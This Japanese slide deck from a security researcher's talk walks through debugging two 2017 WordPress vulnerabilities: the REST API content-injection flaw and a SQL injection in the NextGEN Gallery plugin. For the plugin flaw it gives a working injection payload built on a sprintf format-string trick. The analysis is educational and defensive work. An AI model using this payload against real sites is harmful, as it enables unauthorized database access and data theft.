WordPress 本体とプラグインの脆弱性をデバッガで解析しよう
EG セキュアソリューションズ株式会社
徳丸 浩
徳丸浩の自己紹介
• 経歴
– 1985年 京セラ株式会社入社
– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューションズ株式会社)設立
• 経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ
• 現在
– EGセキュアソリューションズ株式会社 代表 https://www.eg-secure.co.jp/
– 独立行政法人情報処理推進機構 非常勤研究員 https://www.ipa.go.jp/security/
– 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月)
「徳丸浩のWebセキュリティ教室 」(2015年10月)
– 技術士(情報工学部門)
2
WordPressの脆弱性突く攻撃が激増、6万以上のWebサイトで改ざん被害
脆弱性情報が公開されてから48時間足らずの間に悪用コードが投稿され、脆弱性のあるサイトを探して攻撃を試す動きはインターネット全体に
広がった。ハッキングされたWebサイトの数は6万6000以上にのぼり、現在も増え続けている。
1月下旬のパッチで修正された、WordPressの深刻な脆弱性を突く攻撃が、わずか2週間足らずの間に激増し、多数のWebサイトが改ざんなど
の被害に遭っていることが分かった。この問題を発見したセキュリティ企業のSucuriが2月6日のブログで伝えた。
WordPressは1月26日に公開した更新版の4.7.2で複数の脆弱性を修正した。このうち特に深刻なWordPress REST APIの脆弱性については、2月1
日まで待ってから情報を公開していた。この問題を悪用された場合、認証を受けないユーザーがWordPressサイトのコンテンツやページを改ざん
できてしまう可能性が指摘されている。
Sucuriでは、脆弱性情報が公開されてから48時間足らずの間に悪用コードがWeb上に掲載され、共有されていることを確認した。その情報が簡
単に入手できることから、脆弱性のあるサイトを探して攻撃を試す動きはインターネット全体に広がったという。
3
脆弱性を悪用した攻撃のイメージ(出典:IPA)
http://www.itmedia.co.jp/enterprise/articles/1702/09/news064.html より引用
WordPress、更新版で深刻な脆弱性を修正 安全確保のため情報公開を先送り
WordPress.orgは2月1日のブログで、1月末に公開したWordPressの更新版で深刻
な脆弱性に対処していたことを明らかにした。安全確保のため、意図的にこの脆弱
性に関する情報の公開を遅らせていたという。
WordPressは1月26日に更新版の4.7.2が公開され、この時点ではそれほど危険性の
高くない3件の脆弱性についてのみ情報を掲載していた。
今回新たに情報が公開された深刻な脆弱性は、WordPress REST APIに存在する。
この問題はセキュリティ企業のSucuriが1月20日にWordPressに通知していたといい、
悪用された場合、認証を受けないユーザーがWordPressサイトのコンテンツやページ
を改ざんできてしまう恐れがあった。
WordPressではこの問題について、「セキュリティ問題は常に公開されるべきとい
うのがわれわれのスタンスだが、今回のケースでは、何百万というWordPressサイト
の安全を保証するため、意図的に公開を1週間先送りした」と説明している。
4http://www.itmedia.co.jp/enterprise/articles/1702/03/news063.html より引用
危険な脆弱性ですと?
5Copyright © 2012-2017 EG Secure Solutions Inc.
早く調べなくては(使命感)
…世界の平和に貢献しなくては
6Copyright © 2012-2017 EG Secure Solutions Inc.
早く調べなくては(じゃじゃ馬根性)
…ブログ書きたい
7Copyright © 2012-2017 EG Secure Solutions Inc.
脆弱性情報はどこに?
8Copyright © 2012-2017 EG Secure Solutions Inc.
Sucuriブログより
9
Our journey begins in ./wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php
https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html より引用
脆弱性分析入門
• 脆弱性を分析する方法には以下の3種類がある(複数選択可)
– 脆弱性の解説記事を読む
– ソースコードの差分をとる(静的解析)
– PoC(Proof of Concept)の動作を分析する(動的解析 )
• 複雑なアプリケーションの場合、ソースコードの差分を読んでもよく
分からない場合が多い
• Sucuriブログは、書いてある内容はすごいけど、説明が不親切
– あれは、説明が下手なのか、わざと詳細を曖昧にしているのか…
• PoCを入手して、動的解析するのが比較的楽
– だが、printfデバッグ(var_dumpデバッグ)は手間がかかる…めんどうくさい
Copyright © 2012-2017 EG Secure Solutions Inc. 10
デバッガで追いかけてみよう
• PHPのリモートデバッグに使用できるIDE等
– NetBenas
– Eclipse
– PHPStorm
– Vim
– Emacs
– MS VisualStudio Code
• 今回は NetBeans + Xdebug を用います!
• 一般論としては、脆弱性の検証には、古めのPHP + 古めの MySQLをお
勧めします
– 今回は、Ubuntu16.04LTSにバンドルされる PHP 7.015とMySQL 5.7.17 を使いま
す(PHPが新しくても再現するからです)
Copyright © 2012-2017 EG Secure Solutions Inc. 11
NetBeans 8.2の外観
12
Xdebugとは
• Xdebug とは?
– xdebug は PHP のコア開発者である Derick Rethans 氏が開発している、PHP のデバッグ用エク
ステンション
– $ sudo pecl install xdebug
• Ubuntu等では apt-get で導入するのが楽ちん
$ sudo apt-get install php-xdebug
• php.ini (あるいは conf.d/xdebug.ini 等)に以下を追記
Copyright © 2012-2017 EG Secure Solutions Inc. 13
zend_extension=/usr/lib/php5/20090626+lfs/xdebug.so ここは環境依存
xdebug.remote_enable = 1
xdebug.remote_autostart=on
xdebug.remote_host = "192.168.79.1" NetBeansを動かすPCのIPアドレス
xdebug.remote_handler = "dbgp"
xdebug.remote_port=9000
xdebug.idekey="netbeans-xdebug"
xdebug.remote_mode=req
NetBeans 側とそろえる
権限チェックのupdate_item_permissions_checkメソッド
497: public function update_item_permissions_check( $request ) {
498: $post = get_post( $request['id'] );
499: $post_type = get_post_type_object( $this->post_type );
500: if ( $post && ! $this->check_update_permission( $post ) ) {
501: return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post...
502: }
503: if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] &&
! current_user_can( $post_type->cap->edit_others_posts ) ) {
504: return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update ...
505: }
506: if ( ! empty( $request['sticky'] ) &&
! current_user_can( $post_type->cap->edit_others_posts ) ) {
507: return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make ...
508: }
509: if ( ! $this->check_assign_terms_permission( $request ) ) {
510: return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign ...
511: }
512: return true;
513: }
14wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php (Ver 4.7.1)
update_item_permissions_check() の返り値
15
コンテンツの性質 返り値
存在しないコンテンツ true
存在し権限のあるコンテンツ true
存在し権限のないコンテンツ false
Copyright © 2012-2017 EG Secure Solutions Inc.
update_item()メソッド
523: public function update_item( $request ) {
524: $id = (int) $request['id'];
525: $post = get_post( $id );
526: if ( empty( $id ) || empty( $post->ID )
|| $this->post_type !== $post->post_type ) {
527: return new WP_Error( ‘rest_post_invalid_id’,
__( 'Invalid post ID.' ), array( 'status' => 404 ) );
528: }
529: $post = $this->prepare_item_for_database( $request );
530: if ( is_wp_error( $post ) ) {
531: return $post;
532: }
16wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php (Ver 4.7.1)
WordPress 4.7.1は何がいけなかったか?
• 原因:
– 権限チェックの際に、存在しない id に対して、権限ありを返していた
– 権限チェックの際は id キャストなし、データ更新の際は id を整数にキャスト
していた
• 直接の対策
– 存在しない id に対しては「権限なし」を返す
– 権限チェックと更新の際には同じ id を用いる
• 原則論として
– 正規化(この場合は整数へのキャスト)は早期に実施する
– バリデーションしていれば防げましたね
17Copyright © 2012-2017 EG Secure Solutions Inc.
続きは実機デモで…
Copyright © 2012-2017 EG Secure Solutions Inc. 18
NetBeansにて新規プロジェクト
Copyright © 2012-2017 EG Secure Solutions Inc. 19
メニューから
ファイル | 新規プロジェクト リモートサーバーからの
PHP…を選択
Copyright © 2012-2017 EG Secure Solutions Inc. 20
適当に入力
Copyright © 2012-2017 EG Secure Solutions Inc. 21
管理ボタンを押す
Copyright © 2012-2017 EG Secure Solutions Inc. 22
接続名…適当に
接続型 … SFTP
Copyright © 2012-2017 EG Secure Solutions Inc. 23
適切に入力
Copyright © 2012-2017 EG Secure Solutions Inc. 24
ここが正しいURIになるように
Copyright © 2012-2017 EG Secure Solutions Inc. 25
Copyright © 2012-2017 EG Secure Solutions Inc. 26
ディレクトリ・ファイルを選んで
終了を押すとダウンロードが始まる
Enjoy!
Copyright © 2012-2017 EG Secure Solutions Inc. 27
続いて、NextGEN Gallery for WordPressの
SQLインジェクション脆弱性について
Copyright © 2012-2017 EG Secure Solutions Inc. 28
WordPress人気フォトギャラリープラグインに脆弱性
Threatpostに3月1日(米国時間)に掲載された記事「Million-Plus WordPress Sites Exposed by Vulnerable
Plugin|Threatpost|The first stop for security news」が、WordPressで人気の高いフォトギャラリー
プラグイン「NextGEN Gallery」に情報窃取のセキュリティ脆弱性が存在すると伝えた。この脆弱性を
悪用されると、センシティブなユーザ情報が盗まれる可能性があり注意が必要。
「NextGEN Gallary」は写真家などに使われることが多いフォトギャラリ管理システム。フォトデータ
のアップロード、整列、グルーピングなど、さまざまな機能を提供している。2007年に公開されてか
ら1600万回を超える回数のダウンロードが実行され、さらに現在100万以上がアクティブに使われて
いるという。該当するプロダクトの該当するバージョンを使っている場合は最新版へアップグレード
することが望まれる。
WordPressは世界中で最も多く使われているCMS。機能をカスタマイズするためのプラグインも豊富
に提供されており、WordPressの脆弱性ではなくこうしたプラグインの脆弱性が攻撃に悪用されるこ
とも多い。WordPressを使用している場合はプラグインやスキンなども含めてセキュリティサポート
が提供されている最新版へアップグレードし続けることが望まれる。
29http://news.mynavi.jp/news/2017/03/03/105/ より引用Copyright © 2012-2017 EG Secure Solutions Inc.
30https://blog.sucuri.net/2017/02/sql-injection-vulnerability-nextgen-gallery-wordpress.html より引用
タグ検索のSQL文生成箇所 get_term_ids_for_tags()
1203: $container_ids = array();
1204: if (is_array($tags) && !in_array('all', array_map('strtolower', $tags))) {
1205: foreach ($tags as $ndx => $container) {
1206: $container_ids[] = "'{$container}'";
1207: }
1208: $container_ids = implode(',', $container_ids);
1209: }
1210: // Construct query
1211: $query = "SELECT {$wpdb->term_taxonomy}.term_id FROM {$wpdb->term_taxonomy}n
INNER JOIN {$wpdb->terms} ON {$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_idn
WHERE {$wpdb->ter m_taxonomy}.term_id = {$wpdb->terms}.term_idn
AND {$wpdb->term_taxonomy}.taxonomy = %s";
1212: if (!empty($container_ids)) {
1213: $query .=
" AND ({$wpdb->terms}.slug IN ({$container_ids}) OR {$wpdb->terms}.name IN ({$container_ids}))";
1214: }
1215: $query .= " ORDER BY {$wpdb->terms}.term_id";
1216: $query = $wpdb->prepare($query, 'ngg_tag');
31
wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/
nextgen_gallery_display/package.module.nextgen_gallery_display.php
タグとして sitting を指定すると…
生成されるSQL文は下記
SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
WHERE wp_term_taxonomy.term_id = wp_terms.term_id
AND wp_term_taxonomy.taxonomy = %s
AND (wp_terms.slug IN ('sitting') OR wp_terms.name IN ('sitting'))
ORDER BY wp_terms.term_id
これは正常系
32
タグとして aaa%s を指定すると…
生成されるSQL文は下記
SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
WHERE wp_term_taxonomy.term_id = wp_terms.term_id
AND wp_term_taxonomy.taxonomy = %s
AND (wp_terms.slug IN ('aaa%s') OR wp_terms.name IN ('aaa%s'))
ORDER BY wp_terms.term_id
%s が3箇所に出て来る
$query = $wpdb->prepare($query, 'ngg_tag'); の呼び出しの内部で、
return @vsprintf($query, 'ngg_tag'); が呼ばれるが、書式%s が3箇所に対してパラメータは
1個なのでエラーになる
この時点でバグだね…
33
タグとして aaa%1$s を指定すると…
生成されるSQL文は下記
SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
WHERE wp_term_taxonomy.term_id = wp_terms.term_id
AND wp_term_taxonomy.taxonomy = %s
AND (wp_terms.slug IN ('aaa%1$s') OR wp_terms.name IN ('aaa%1$s'))
ORDER BY wp_terms.term_id
SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
WHERE wp_term_taxonomy.term_id = wp_terms.term_id
AND wp_term_taxonomy.taxonomy = 'ngg_tag'
AND (wp_terms.slug IN ('aaangg_tag') OR wp_terms.name IN ('aaangg_tag'))
ORDER BY wp_terms.term_id
34
sprintf の書式 … 引数の交換と桁埋め文字の指定
35http://php.net/manual/ja/function.sprintf.php より引用
タグとして aaa%1$%s を指定すると…
生成されるSQL文は下記
SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
WHERE wp_term_taxonomy.term_id = wp_terms.term_id
AND wp_term_taxonomy.taxonomy = %s
AND (wp_terms.slug IN ('aaa%1$%s') OR wp_terms.name IN ('aaa%1$%s'))
AND wp_term_taxonomy.taxonomy = '%s'
AND (wp_terms.slug IN ('aaa%1$'%s'') OR wp_terms.name IN ('aaa%1$'%s''))
AND wp_term_taxonomy.taxonomy = 'aaangg_tag'
AND (wp_terms.slug IN ('aaangg_tag'') OR wp_terms.name IN ('aaangg_tag''))
36
余計なシングルクォート 余計なシングルクォート
aaa%1$'%s' は sprintfの書式としてどのように解釈されるか
• %1$'%s までで一つの書式である
• 1$ は位置指定子として、最初のパラメータであることを示す
• '% はパディング指定として、%記号でパディングすることを示す
– ただし、桁指定子がないので、実際にはパディングされない
• '% をパディング指定子として無視させることにより、シングルクォー
トの数を一つ減らすことができる
• これにより、余分なシングルクォートができ、SQLインジェクション
攻撃が可能になる
Copyright © 2012-2017 EG Secure Solutions Inc. 37
タグとして aaa%1$%s)) or 1=1# を指定すると…
生成されるSQL文は下記
SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
WHERE wp_term_taxonomy.term_id = wp_terms.term_id
AND wp_term_taxonomy.taxonomy = %s
AND (wp_terms.slug IN ('aaa%1$%s)) or 1=1#')
OR wp_terms.name IN ('aaa%1$%s)) or 1=1#'))
AND wp_term_taxonomy.taxonomy = '%s' AND (wp_terms.slug IN ('aaa%1$'%s')) or
1=1#') OR wp_terms.name IN ('aaa%1$'%s')) or 1=1#'))
AND wp_term_taxonomy.taxonomy = 'ngg_tag' AND (wp_terms.slug IN
('aaangg_tag')) or 1=1#') OR wp_terms.name IN ('aaangg_tag')) or 1=1#'))
38
SQLインジェクション
続きは実機デモで…
Copyright © 2012-2017 EG Secure Solutions Inc. 39
ブラインドSQLインジェクションによる情報
窃取デモ
Copyright © 2012-2017 EG Secure Solutions Inc. 40
宣伝
Copyright © 2012-2017 EG Secure Solutions Inc. 41
EGセキュアソリューションズは新しい仲間を募集しています
• 新卒・中途採用は随時実施しています
• 以下の条件を満たす方
– ウェブアプリケーション開発の経験あるいは強い興味
– セキュリティに関する強い興味
– つまり、今日来られている方は全員対象者です!
• 私たちと一緒に日本のウェブサイトを安全にしましょう
• 勤務地はこのビルです。麻布十番でお仕事ができますよ
Copyright © 2012-2017 EG Secure Solutions Inc. 42

デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう